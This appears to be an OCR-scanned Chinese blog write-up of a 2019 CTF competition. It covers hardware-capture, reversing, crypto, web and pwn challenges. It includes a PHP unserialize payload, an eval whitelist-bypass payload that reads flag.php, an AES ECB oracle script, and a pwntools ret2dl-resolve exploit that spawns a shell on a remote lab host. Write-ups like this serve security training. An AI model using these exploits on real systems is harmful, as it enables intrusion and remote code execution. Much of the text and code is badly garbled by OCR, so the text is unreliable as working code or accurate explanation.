20195+ & ERZAE B ZERFE 5 WriteUp

AR R F 2019-04-22 22:03:17 KA 4162 W 8
SHER: CTF
WA S B . A SONTE R R AISCE, B1E CC 4.0 BY-SA FRAUMMYL, i LR SCH b mA S,

A EEHE: https://blog.csdn.net/qq_42280544/article/details/89460410
R

ECTF B SPALERS

2 WX E 0T H
BB

B+ ZEeEERFERE B REFTREE S WriteUp

0x00 %% 3 &
0x01 SALEAE
0x02 24c

0x03 easyG0
0x04 JustSoso
0x05 puzzles
0x06 usbasp
0x07 warmup
0x08 love_math
0x09 bbvwmm
0x10 baby_pwn

0x00 25 2 ;&

BIEAA:
B RSB AT M X HEP A R AR IR BB 1266 & Bl Ef  flag

0x01 SALEAE


https://blog.csdn.net/qq_42280544
https://blog.csdn.net/qq_42280544/category_8884450.html
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/qq_42280544/article/details/89460410
https://blog.csdn.net/qq_42280544/category_8884450.html

BIENEAE:
ITH K B £ logicdata(iB 48 /- Hr A B SC ), 3 B Logic #0437 FF 4R 38 B B AT 22 DL I 3l
Wy REEM 2B T SPIE R, A5 2 flag

Analyzer Settings

MISO  Hene

Clock ||:| - "Chanmel 07

Enahle |Hc-:ne

Most Significant Bit First (Standard) ¥

|3 Bitz per Transfer (Standard) V|

|Clor_'k is Low when inactiwe ([CPOL = 0) V|

|Data is ¥alid on Clock Leading Edgze (CFHA = 0) Vl

|Enable line iz Active Low (Standard) V|

[ Save H Cancel

flag Bk

0x02 24c

BIENE
A B R 3T 7, R B IC Hh il i R B4 R



Analyzer Settings

0 - ‘Channel O
SCL 1 - 'Channel 1° w

Address Display |3-bit, read/write bit included [default]

Save H Cancel

BERT AR



P untitled — 25z
IHE) R E B0 EFF W FERh

Time [s],Packet

ID,Address ,Data,Read/Write ,ACK/NAK
0.843872000000000,0,'160" ," ' ,Write,ACK
0.844A38500000000,0,"' 160" ,f ,Write ,ACK
0.844205000000000,0," 160" ,1,Write ,ACK
0.844371000000000,0,"' 160" ,6,Write ,ACK
0.844537500000000,0,160" ,3,Write ,ACK
0.844704000000000,0," 160" ,b,Write ,ACK
0.844870500000000,0,"' 160" ,d,Write ,ACK
A.845A36500000000,0, 160" ,f ,Write ,ACK
0.845203000000000,0,"' 160" .4, Write ,ACK
0.845369500000000,0,"' 160" e ,Write ,ACK
A.8455365000000000,0," 160" ,} ,Write ,ACK
0.845702500000000,0,'160" ," A" ,Write ,ACK
0.945962500A00000,1," 160" ," A" ,Write ,ACK
8.946318000000600,2,° 168" ,f ,Aead ,ACK
8.9464815A000000800,2,°160° ,1 ,Read ,ACK
B.9466545000000000,2,°160"° ,a,Read,ACK
8.2468308500000000,2,"168" ,g,Read ,ACK
6.946972000000000,2,°160° ,{ ,Aead ,ACK
B.947135500000000,2,°160° ,c ,Aead ,ACK
B.947299500000000,2,°160° ,4,Read ,ACK
B.947463000000000,2,°160"° ,0 ,Aead ,ACK
B.947525500000000,2,°160° ,d,Read ,ACK
L B.947700000000000,2,"1608" ,9 ,Read ,ACK
6.947953500000000,2,°160° ,e ,Aead ,ACK
6.948117500000000,2,°160° ,1,Read ,ACK
6.948281000000000,2,°160" ,0,Read,ACK
B.948444500000000,2,°160" ,- ,Aead ,ACK
6.948508000000000,2,°160° ,e ,Aead,ACK
B.948771500000000,2,°160° ,9 ,Aead ,ACK
6.948935500000000,2,°160° ,b ,Read,ACK
6.949@99000000000,2,°160"° ,5 ,ARead ,ACK
6.949262500000000,2,°160° ,- ,Aead ,ACK
6.949425000000000,2,°160° ,4,Read ,ACK
6.9495890500000000,2,°160° ,d ,Read,ACK
6.949753000000000,2,°160° ,9 ,ARead ,ACK
6.949917000000000,2,°160° ,08,Read ,ACK
6.950880500000000,2,°160" ,- ,Aead,ACK
6.950244000000000,2,°160" ,a,Read,ACK
6.9564067500000000,2,°160° ,8 ,Aead ,ACK
6.956571000000000,2,°160° ,8 ,Aead ,ACK
8.956734500000000,2,°160° ,3 ,Aead ,ACK
6.956898000000000,2,°160" ,- ,Aead ,ACK
6.951861500000000,2,°160° ,4 ,Read ,ACK
8.951225000000000,2,°160° ,1,Read,ACK
6.951388500000000,2,°160° ,c ,Aead ,HAK
C.945647000000000,3,168" .\t ,Write ,ACK
L .9458135000000008,3,'160" ,a,Write nCK

C NUBANORAARARRRARAR 3 "H4&AR' ~ Lh=di¥+n ANK

SR BHE R IUE 198 AR5 48 BB 4% 2 24¢,28 %) IC ) EEPROM 7265 A 2402, 3Bk
ER IC Pl A8 IC #AE 24c02 HIRHRE S KX FF A B AE R bk, L &2 NAK XA
IERF (BT e R BEEMA A P BiEIR). TREZN R2FR/ HEXRK ASCI 2 9,1
BMARAMNEE 9 BALO TG 9" B N ac, 5Z RTHIM T HEREBILER.

0x03 easyG0

BIENA:

TEREER 20, TEMA —LFRFE JTUTIT ida
itk 0x495168

R please, R JE X 5| FiR [E F]



=% | text:0000000000495150 mouy rcy, FS:BFFFFFFFFFFFFFFF8h
-text:0000000006495159 lea rax, [rsp+uvar_g0]
-text:0000000006049515E cmp rax, [rcx+18h]

. -text:0000000000495162 jbe loc_L4954BF
-text:000000000049516F mou [rsp+188h+var_8], rbp
-text:0000000000495177 lea rbp, [rsp+i8Bh+var_ 8]
-text:000000000049517F lea rax, unk_LAcDOA
-text:00000000060495186 mou [rsp+188h+var_188], rax

SRJEF gdb 7£ 0x495168 &b R i &, B 25 R, B B ik N\ — S5 2 R 83X A~ Hb 7 BE 18 4,
AT R B —EH BB AT, 2B H A F 458 LR X i 7] DAEAR 25 1B E W flag, in

Ct9pEtDEYsqL3")
016

("flag{92094daf-33c9-431e-aB5a-8bfbd5df98ad}

--> 0x2a ('*')
--> Bx2a ('*')

0x04 JustSoso

BIENE
7E M TTIRARRD R B AR 7

parameter<brs=Missing parameters<!--Please test index.php?file=xxx.php -->
ase get the source of hint.php-->

php (EEXHAEE, FIHZ base64 FUAM 4R
index.php



<html>

<?php

error_reporting(0);

$file = $_GET["file";

$payload = $_GET["payload"];
if(!isset($file)){

echo 'Missing parameter'.'<br>";

}

if(preg_match("/flag/",$file)){

die('hack attacked!!!");

}

@include($file);

if(isset($payload)){

$url = parse_url($_SERVER['REQUEST_URIY);
parse_str($Surl['query'],$query);
foreach($query as $value){

if (preg_match("/flag/",$value)) {
die('stop hacking!");

exit();

}

}

$payload = unserialize($payload);
else{

echo "Missing parameters";

}

?>

<I--Please test index.php?file=xx.php -->
<I--Please get the source of hint.php-->
</html>

hint.php



<?php

class Handle{

private $handle;

public function __ wakeup(){
foreach(get_object_vars($this) as $k => $v) {$this->$k = null;
}

echo "Waking up\n";

}

public function __construct($handle) {
$this->handle = $handle;

}

public function __destruct(){
$this->handle->getFlag();

}

}

class Flag{

public $file;

public $token;

public $token_flag;

function __construct($file){

$this->file = $file;

$this->token_flag = $this->token = md5(rand(1,10000));
}

public function getFlag(){
$this->token_flag = md5(rand(1,10000));
if($this->token === $this->token_flag)

{

if(isset($this->file)){

echo @highlight_file($this->file,true);

}

}

}

}

?>

BAER /AT ASeE url = parse_u( ERV ER| REQUEST RI|);parse tr(url[‘query’],$query);

i payload:
http://ccad1b4bf4704d57b697729ee8950f4c509984bceeb5401c.changame.ichu
nqgiu.com//findex.php?file=hint.php&payload=0:6:"Handle":2:{s:14:%
22%00Handle%00handle%22;0:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.
php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}


http://cca41b4bf4704d57b697729ee8950f4c509984bceeb5401c.changame.ichu
http://nqiu.com///index.php?file=hint.php&payload=O:6:%2522Handle%2522:2:

€ 3 C O F2% | ccadlbibi4704d57b697729ee8950f4c509984bceeb5401c. changame.ichungiu.com,

B OEA G @& Deepin 154

=7php
sflag = 'flag{e6dc36f1-£47b
=

-

B part_des_Bdal-zip ™

[ https:ffraceich— [3 https://knowled-

1335 -b172-e27cfaBCTAfE) "

0x05 puzzles

BIEA A

Question0 f# U 75— X 5 12:

al
13627, 00
23027, 00
26013, 00
43189, 00

—-Z.10269E-05
1. TA993E-07
—-2.13614E-06
2. BZ358E-05

al an
26183, 00
38455, 00
45585, 00
12265, 00

ni

[ RN R }

X138 part1 A 26365399
Question2 K% PR & %7 &1 part2 7 7700
Question3 #R#5E BS HL 3h #it A AT 41 part3 N 18640

Questiond t+EARAATR, =

. 93185E-06 1.
LATL2RE-07 0 AL
. 57841E-05 -5,
—2.BZ15ZE-05 7.

D https:fjrace.ich-

35897. 00
403551, 00
17029, 00
21587. 00

BE511E-06
T4953E-05
D3538E-05
B5541E-06

ad

45119, 00
13961, 00
27823, 00
33721, 00

. BZ8T1E-05 al=
. 3381ZE-05 al=
. 40575E-06 as=
. 46621E-07 ad=

ERS 718 partd N 40320

4006
3053
256073
2560

arwser
347561292
361760202
3973017682
350830412
350830412

Question1 #R#EFEFT LA



p g joru L
-fatc Stien Juestio

jare L

77 }« "> e
4 k % T N = bxk 15573 Ct€) 0
ledod 9 34 3 /4
e

4 1 /‘Q 1
S Rl .Y[n";h_( XlosK i)

~ ” x [ov <7700

Jueston

R BB TS

hitps://blog.csdn.net/gg

4 BB M AT N R 4 18 3] flag
0x06 usbasp

BIENEA:
T EREEE R SRR BT P R IR B RS L A



Analyzer Settings

MOSI | 0-'Channel 0
MISO | 1-'Channell’
Clock | 2-'Channel 2
Enable | None

Maost Significant Bit First (Standard) -

B Bits per Transfer (Standard)

Clock is Low when inactive (CPOL=0) =~
Data is Valid on Clock Leading Edge (CPHA=0} ~

Enable line is Active Low {Standard) ~

Save Cancel

= Capture usbasp.logicdata

B0 lh=4
JER A LLE R flag T flag B& ik



0x07 warmup

BENE:

TR SRS BE 2 AES B H . it 4T, T LABk4E 2] DDCTF # AES ECB
FREIE R (R ABE) R T B B ME— X 52 ECB #pk T 5 4MY CRT, &R B

B SCBRE RUFE AT R K X B BB AR, flag, 283 Wk mT PASNE SB AL R K flag,

&k 16 A, EH 3 FLEIF];

(2&fel AES ECB 8 H % #2 hitps://www.cnblogs.com/kagari/p/88894 12 .html)

HRAE 7317 18 A an

pwn
flagkey "123456789B@abcdeflag{}-"
finallyflag '
4 flag "'

6l conn ():


https://www.cnblogs.com/kagari/p/8889412.html

ZL0DE X
x remote("fc32f84bcd6ac22d97e5+876e3100922 . kr-1ab.com",12345)
x.recvline()

("result>plaintext>"):v 32 ("result>plaintext>')]

burp(pad,f,v):

p 16 pad

r.sendline('1" (pad))
flaghex get(r.recvline(),v)

h in flagkey:
r.sendline('1" (pad) f h)
t get(r.recvline(),v)
t flaghex:
- n h

getflaghex():
finallyflag "'
r conn()
pad 15
v in [0,32,64]:
~ 1 dr (16):
k burp(pad i,finallyflag,v)
finallyflag k
finallyflag
tinallyflag

P

=

(R 7% e S S e e
(5] =R

o LA

getflaghex() https://blog.csdn.net/gq_42280544




0x08 love_math

BIENE:
BEERERI ajax EE—A calc.php 3T, 15 i) XA 44

&«

o =2 & 3 I S S I N S

O W oo

39
40
41

- C @O F%%£ | view-source:a52a6b188e894158bbf83b96c0ffl7eleeTbbdc5a3ef486f.changame.ichungiu.com

R 3 % Deepin 154~ [J https:/frace.ich-+ [] https://knowled-- (J) https:/frace.ich-

<html=
<head=
<title>itE88</title>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="stylesheet" href="/static/css/bootstrap.min.css">
<script src="/static/js/jquery-3.3.1.min.js"></script=>
<script src="/static/js/bootstrap.min.js"></script>
</head=
<body=

<div class="container text-center" style="margin-top:30px;"=>

<h2>Fikl</h2>

<form id="calc"=>
=div class="form-group"=

<input type="text" class="form-control” id="content” placeholder="fG S fREEMitER">

=/div=
=<div id='result'></div>
<button type="submit" class="btn btn-primary"=itE</button=

</form=
=/div=
=script=
$('#calc').submit(function(){
$.ajax({
rurl:"calc.php?c="+enc0deURICOmponent{$("#cantent").val(}},
Cype—GET —,
success: function(data){
¢("#result").html( =div class="alert alert-success"=
=strong=&EE:</strong=5{data}
</div=");
error: function(){
alert ("EEEM!");
H
1)
return false;
1)
</script=
</body=
</html=

Vil 2 J5 g B RS

¥ @

&€ - C @ F%= | a52a6b188e894158bbf83b96c0fflTeleeTbbdc5a3ef486f.changame.ichungiu.com/calc.php

D O@HE O\ B Deepin 15.4-- [ https://race.ich-- [] https://knowled--- () https://race.ich---

<?php

error_reporting(@);

a % 6



[AUTRITRERET, FHETESEEmEIETLag
if(lisset($ GET['c'1)){
show source( FILE )
telse{
J/BF c=20-1
$content = § GET['c'];
if (strlen($content) == 80) {
die("®RETF=H");
1
sblacklist = [' ', "\E', '\r', 'm0\, T N, N D
foreach ($blacklist as sblackitem) {
if (preg_match('/' . $blackitem . '/m', $content)) {
die("HEFERATTEENTFHE");

/S EREFHEENttp: / /www.w3school. com. cn/php/php _ref math.asp
$whitelist = ['abs', 'aces', 'acosh', "asin', 'asinh', 'atan2', 'atan’, 'atanh', 'base convert',6 'bindec', 'ceil', 'cos’, 'cosh’

preg match all('/la-zA-Z \x7f-\xfflla-zA-Z 0-9\x7f-\xffl*/', $content, Sused funcs);
foreach (sused funcs[@] as $func) {
if (!in_array($func, $whitelist)) {
die("EFEHATEIEENEN");
1
1

e
//RETEREE

éval{'echo '.$content.';');

RILTHBEGLPIAL IEN, 285 2 R A3, & B AT A 3 Ay ik S IE U 51) H 3%

- . PN R S~ 4 a4~ o~ AN v (Chaan).

TIAT

$exp=base_convert;$sin=%exp(1751504350,10,36):$tan=%exp(784,10,36);$sin($tan);

&% :base_convertcalc.php flag.php index.php static

R JE Bk R AR R IMEREX flag.php [ A 2%, — FF 46 2 B AR 7R 1X A H J7 48 I e R Bk 2 4°F,
St =MEAE A cat SEUCCHE, BT 42 B R AR IR 75 R

base_convert 7] LAEA7 3 il #5403 BLAE 3 4 B4 37907361743-hex2bin

dechex AT LK+ 3k 3+ 75 1, 1598506 324-5f474554

Je T A A 3% IR IE W Sk OK T

payload:/calc.php?c=

pZ: haco nmaertA7ANT72RT1742 10 2R dorher(1TRARKKNA2AN [ .\ 1/ KnINLIV R T —avretom &7 D—at T 9Nflac nhn
& > C ® F%£ | 437a495dead%4a22b2c0369b43fb23a803c29180c6f1440c.changame.ichungiu.com/calcphp?c- ¥ @

B! WA A9\ B Deepin15.4-- [1 https:/frace.ich-- [ https://knowled--- ) https://race.ich---

_GET

flag 7£ M TLIEA S H,



C @ F£2£ | view-source:437a495dea%c4a22b2c0369b43fb23a803c29180c6f1440c.changame.ichungiu.co- ¥ @

@A\ B Deepin 15.4-- [J https:/jrace.ich-+ [1 https://knowled:-- https://race.ich--

_GET=?php
$flag = 'flag{B846ed6dd-blc4-4c3a-bld4-54d548077b2d}";

LI kI

13 1) 8 4 ] DA S i A P i 7E 48 55 62 httpss://tool.lufhexconvert/
0x09 bbvvmm

BAEA A
TR R SO, B UE, RILH 2 A D, an B B

QRTUWI
; 457859+

(o)
m &
[STIY, RN ETRY |
M ca
=
.
IR T Y

I
o
O oW~

(%3]
[=x]
b |

]
&

o b
=]

K ra
nm oo

-.Username: .%9s.
.[?25]1.Password:

RVYTGE5N
i Q90PHUAUQBALFMHA
HWWrFMIMREBFuUF 8]

?25h..

w
[=:]
[y
o
5
L
g [=Rg ="

o
B3
oo
1 %]
£
=~
o]

w
==l
=)

B

D
SRS

fuy

(%))

SRS S =
[ ]

b=

A

E -
D

A -
D -
o -
1 -
g -
g -

T M N & L E
mTm T & 2
[

o
[~
[ ]

[~ T Ry
& & & & !

) base64 (B R TE LM &, RIA N TR — T BRI R 1% 2 B
base64 fERS, 1T K&


https://tool.lu/hexconvert/

o

87
88
80
98
'l |
92
93
oy
95
96
97
98
99
168
101
162
1683

[LETET R

u3h

u3t

sub_.
sub_.
sub_.
u3 =
LoDW
vt =

ug =
sub_.
if {
{
pu
sy
¥

else

43
4y
45
46
47
48
49
58
51
52
53
54
55
56
57
58
59
68
61
62
63
64
65
i1
67
68
69

= BLL;

= BLL;

4E1738(&u11, &ui8);

4e18C4{&v11, 1LL, 16LL, &uils, &ull, &u3bh);
L4B67BD(&vIL, 5, 16LL);

strlen(s);

ORD{v4) = sub_ 4BBAAG(s, vi);

strocmp{ui, "RUYEGBSNQP0PHU4uQBAUFH+HHUUrFHJMRBFUFBUWJQEY="");
printf{"\x1B[?25h", "RUYtGSSHQP0PHULuQEAUFM+HHUUFFHJHRBFUFBUJOBY="");

®#{{ DWORD =)ptr + 25};
4B5AA8(vi0);
us ] ve )

ts{"wn---------- [EXIT]------—-——- ");
stem{"exit");

ulil = =MK_FP{__FS__, 48LL);

vid = malloc({@x4DBulL});

setbuf{stdin, BLL);

setbuf(stdout, BLL);

setbuf(stderr, BLL);

puts(”Fowered by 77777 1"});
sub_4B86656("Powered by F777T *°, BLL);
puts{*--———————- [LOGIN]——-—————- "33
printf{"Username:"", a2?);

sub_4B85B25(uv18);
vi2z = BLL;
vid = B;

__isoc99_scanf (%95, &u12);
printF{"\x1B[7251");
printf{"Password:"});
For ( i = B; i <= Su; ++i )
read(8, {(char =)ptr + 4 * (i + 36LL), 1uLL);

sub_4B6687 (v10);

*({_ (UWORD =)s = BLL;

vi7 = BLL;

vig = BLL;

uvi? = BLL;

vhia = B;

vih = BLL;

vi5 = BLL;

sub_4B66CA(&EV1Z2, &uil, BLL);
vitG = BLL;

0000684R main:25

2% SRJG R base64 g,

A LAEIER P A4 T rsm i



unsigned char key[16] ={

O0xDA, 0x98, O0xF1, O0xDA, 0x31, 0x2A, O0xB7, 0xb3, 0xAb, 0x70,
\ 0x3A, 0x0B, 0xFD, 0x29, 0x0D, 0xD6
;ﬂ}{[lx(ﬂ],(Jxlﬁ%.()x*lﬁ,(]x(i?,()xé§9,[JXFHJ,[}Xfxi.()xzﬁf,(]xf%?,(}xck:.[)xlni,(]XFl
unsigned char input[16] = {Oxef, 0x46, 0x8d, Oxba, 0xf9, 0x85

//10x01,0x23, 0x45, 0x67, 0x89, Oxab, 0xcd, Oxef, Oxfe, Oxdc, Oxba, 0x9
unsigned char iv[16] = { 0x00,};//, 0x23, 0x45, 0x67, 0x89, 0
unsigned char output[16];

sm4_context ctx;

unsigned long 1i;

OQe

G e AT https://blog.csdn.net/gg_

& Ja v LA1§ 2 F P 44 4:badrer12
I AL IR B 15 2 Ida BHT i — T, BRER JLE A ida @47 sh &R E
BRI LT A R EERE N K

EE B A Xy,
HI\F P 4 25 45 B pwntools, ig 4T AR,



rop remote("39.106.224.151",10001)
rop.recvuntil("name:")
rop.sendline("badrerl2")
rop.recvuntil("word:")
rop.send("xyz{|}")
rop.interactive()

1
pi
3
4
)
6
/
8
9

R
R ®

https://blog.csdn.netlqq_42280544

53 flag
0x10 baby pwn

BIENA:
R MR SO TN ida, T —

O & x | =] IDA & pseud~ B &l Pseud- Z] Pseud

Segment LS51ZC L vl
.plt ~{ |
. text - char but; [/
.plt. got
extern 5/ return read(@, &buf, 0x100u);
. text 6 }
. text
extern

. text
nl+

B R PR B R T B AR R A T BALA SR leak PYAFAT R bypass
aslr F1R %%,



R4 read, T LAE H A 1R B B AR IR (B2 RE —A
read, %8 7] AR leak [ &4, B LAFI A ret2d| BIf#E

ek BB @ i AR SR read BRBKTE bss RERATEEMN S
F/bin/sh, 2R 518 dl_resolve_call =& H system, 53] shell
A% S 10 E:

g.csdn.net/qq



roputils

pwn process
pwn gdb

pwn context
pwn remote

r  remote('da6lf2425ce71le72clef02104c3bfb69.kr-1lab.com’,33865)
context.log level ‘debug’

W oo~ wWwh =

=
@

rop ROP('./pwn')

offset L4

bss_base rop.section('.bss")
buf rop.fill(offset)

L = =
v b wp R

buf rop.call('read’', 9, bss base, 100)

## used to call dl _Resolve()

buf rop.dl resolve call(bss base 20, bss base)
r.send(buf)

N R R R R
® W 00~ >

buf  rop. ('/bin/sh")
buf rop.fill(2@, buf)

N NN
w N =

buf rop.dl resolve data(bss base 20, 'system')
buf rop.fill(1ee, buf)#100

r.send(buf)

r.interactive()

e S T S
~N v B

| https:/iblog.csdn.netiqg_42280544

4P read, T LAE A 1R B B M AR IR B RE —14
read, %A AT LK leak (1R %0, BT AFI A ret2d| F
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roputils

pwn process
pwn gdb

pwn context
pwn remote

r  remote('da6lf2425ce71le72clef02104c3bfb69.kr-1lab.com’,33865)
context.log level ‘debug’

W oo~ wWwh =

rop ROP('./pwn')
offset L4

bss_base rop.section('.bss")
buf rop.fill(offset)

buf rop.call('read’', 9, bss base, 100)

## used to call dl _Resolve()

buf rop.dl resolve call(bss base 20, bss base)
r.send(buf)

buf  rop. ('/bin/sh")
buf rop.fill(2@, buf)

buf rop.dl resolve data(bss base
buf rop.fill(1ee, buf)#100
r.send(buf)

r.interactive()

| https:/iblog.csdn.netiqg_42280544
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https://codeload.github.com/inaz2/roputils/zip/master
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